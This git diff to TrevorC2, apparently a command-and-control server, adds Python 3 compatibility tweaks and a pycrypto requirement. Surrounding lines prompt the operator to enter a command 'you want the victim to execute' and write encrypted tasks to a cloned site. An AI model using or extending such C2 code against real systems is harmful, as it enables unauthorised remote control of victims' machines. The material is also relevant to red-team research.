diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 6fc3cc5..dcfb6e9 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -6,6 +6,8 @@ version 0.3 * add root path query which allows you to change the file/location where the code is contained within trevorc2 * add full support for Python2/3 AES support for encrypted transfer of data * fix control-c from exiting properly, kill process +* couple minor fixes for python3 compatibility +* update requirements.txt for pycrypto ~~~~~~~~~~~~~~~~ version 0.2 diff --git a/requirements.txt b/requirements.txt index 2aa6ea7..dde9669 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ bleach tornado +pycrypto diff --git a/trevorc2_server.py b/trevorc2_server.py index eeb41a3..ca5e46b 100644 --- a/trevorc2_server.py +++ b/trevorc2_server.py @@ -201,7 +201,7 @@ class SPQ(tornado.web.RequestHandler): with open("clone_site/instructions.txt", "w") as fh: no_instructions = cipher.encrypt("nothing".encode()) - fh.write(no_instructions.decode()) + fh.write(no_instructions) def main_c2(): """Start C2 Server.""" @@ -277,7 +277,7 @@ if __name__ == "__main__": # here we say no instructions to the client with open("clone_site/instructions.txt", "w") as fh: no_instructions = cipher.encrypt("nothing".encode()) - fh.write(no_instructions.decode()) + fh.write(no_instructions) print("[*] Next, enter the command you want the victim to execute.") print("[*] Client uses random intervals, this may take a few.") @@ -291,7 +291,7 @@ if __name__ == "__main__": sys.exit("Not sure I support this version of Python.") task_out = cipher.encrypt(task.encode()) with open("clone_site/instructions.txt", "w") as fh: - fh.write(task_out.decode()) + fh.write(task_out) print("[*] Waiting for command to be executed, be patient, results will be displayed here...") while 1: # we received a hit with our command